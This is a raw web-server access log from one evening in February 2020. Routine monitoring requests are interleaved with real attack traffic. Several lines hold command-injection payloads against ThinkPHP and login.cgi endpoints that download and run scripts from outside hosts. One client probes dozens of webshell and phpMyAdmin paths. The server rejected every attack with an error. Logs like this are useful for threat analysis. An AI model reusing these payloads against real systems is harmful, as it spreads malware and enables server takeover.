83.97.20.35 - - [02/Feb/2020:23:13:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [02/Feb/2020:23:18:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.87.153.5 - - [02/Feb/2020:23:20:54 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.74 - - [02/Feb/2020:23:24:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.103.79 - - [02/Feb/2020:23:25:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [02/Feb/2020:23:26:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [02/Feb/2020:23:26:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.31.120.43 - - [02/Feb/2020:23:29:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.98 - - [02/Feb/2020:23:29:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.156.110 - - [02/Feb/2020:23:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [02/Feb/2020:23:34:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.24.70.160 - - [02/Feb/2020:23:37:39 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.132 - - [02/Feb/2020:23:39:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.119.24.187 - - [02/Feb/2020:23:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.249.177.213 - - [02/Feb/2020:23:40:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [02/Feb/2020:23:43:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [02/Feb/2020:23:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.171.231 - - [02/Feb/2020:23:43:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
171.100.12.210 - - [02/Feb/2020:23:44:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:23:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.67 - - [02/Feb/2020:23:44:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.68.20 - - [02/Feb/2020:23:47:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.212.232 - - [02/Feb/2020:23:49:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.18.249 - - [02/Feb/2020:23:49:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [02/Feb/2020:23:51:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [02/Feb/2020:23:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.196.82.203 - - [02/Feb/2020:23:52:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:09 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
146.196.82.203 - - [02/Feb/2020:23:52:14 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
146.196.82.203 - - [02/Feb/2020:23:52:14 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
146.196.82.203 - - [02/Feb/2020:23:52:15 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
146.196.82.203 - - [02/Feb/2020:23:52:15 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:19 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:26 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [02/Feb/2020:23:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.196.82.203 - - [02/Feb/2020:23:52:32 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:38 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:46 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:52 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:52:58 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
146.196.82.203 - - [02/Feb/2020:23:52:58 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:59 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:59 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:59 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:52:59 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:00 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:00 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:00 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:00 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:00 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:01 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:01 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:01 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:01 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:01 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:02 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:02 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:02 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:02 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:03 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:03 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:03 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:03 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:03 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:04 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:04 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:04 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:04 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:05 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:05 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:05 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:05 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:05 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:06 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:06 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:06 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:06 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:06 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:07 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:07 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:07 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:10 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:10 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:11 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:11 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
